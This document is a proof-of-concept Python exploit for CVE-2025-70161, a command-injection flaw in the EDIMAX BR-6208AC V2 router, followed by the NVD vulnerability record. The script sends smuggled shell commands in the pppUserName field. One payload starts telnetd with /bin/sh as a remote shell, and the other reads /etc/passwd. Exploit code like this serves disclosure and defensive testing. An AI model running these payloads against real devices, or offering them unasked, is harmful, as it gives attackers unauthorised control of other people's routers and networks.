CVE-2025-70161

import requests # CVE-2025-70161 PoC - EDIMAX BR-6208AC V2 Command Injection # Target: EDIMAX BR-6208AC V2 router (firmware <= 1.02) # Vulnerability: Command injection via pppUserName parameter in setWAN handler target_ip = "192.168.2.1" # Default EDIMAX router IP target_url = f"http://{target_ip}/goform/setWAN" # Payload: Inject command to create a reverse shell or execute arbitrary command # Example: Execute telnetd to gain remote access payload = ";telnetd -p 8080 -l /bin/sh;" data = { "pppUserName": payload, "pppPassword": "password", "pppType": "PPPoE", "wanType": "ppp", "mtu": "1492" } try: response = requests.post(target_url, data=data, timeout=5) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {payload}") print(f"[*] Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Alternative: Read /etc/passwd to verify command execution payload_read = ";cat /etc/passwd;" data_read = { "pppUserName": payload_read, "pppPassword": "password", "pppType": "PPPoE", "wanType": "ppp", "mtu": "1492" } try: response = requests.post(target_url, data=data_read, timeout=5) print(f"[*] Testing command injection with: {payload_read}") if response.status_code == 200: print("[+] Command injection successful!") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2025-70161", "sourceIdentifier": "[email protected]", "published": "2026-01-09T17:15:54.247", "lastModified": "2026-01-22T20:45:13.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EDIMAX BR-6208AC V2_1.02 is vulnerable to Command Injection. This arises because the pppUserName field is directly passed to a shell command via the system() function without proper sanitization. An attacker can exploit this by injecting malicious commands into the pppUserName field, allowing arbitrary code execution."}, {"lang": "es", "value": "EDIMAX BR-6208AC V2_1.02 es vulnerable a la inyección de comandos. Esto surge porque el campo pppUserName se pasa directamente a un comando de shell a través de la función system() sin una sanitización adecuada. Un atacante puede explotar esto inyectando comandos maliciosos en el campo pppUserName, lo que permite la ejecución de código arbitrario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:edimax:br-6208ac_firmware:1.03:*:*:*:*:*:*:*", "matchCriteriaId": "CE385640-FDDC-41C5-AD1C-36283B878411"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:edimax:br-6208ac:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "925424B0-B731-4AB3-A348-3E8684962993"}]}]}], "references": [{"url": "https://tzh00203.notion.site/EDIMAX-BR-6208AC-V2_1-02-Command-Injection-Vulnerability-in-Web-setWAN-handler-2d3b5c52018a80d7ae8dce2bf5e3294c?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}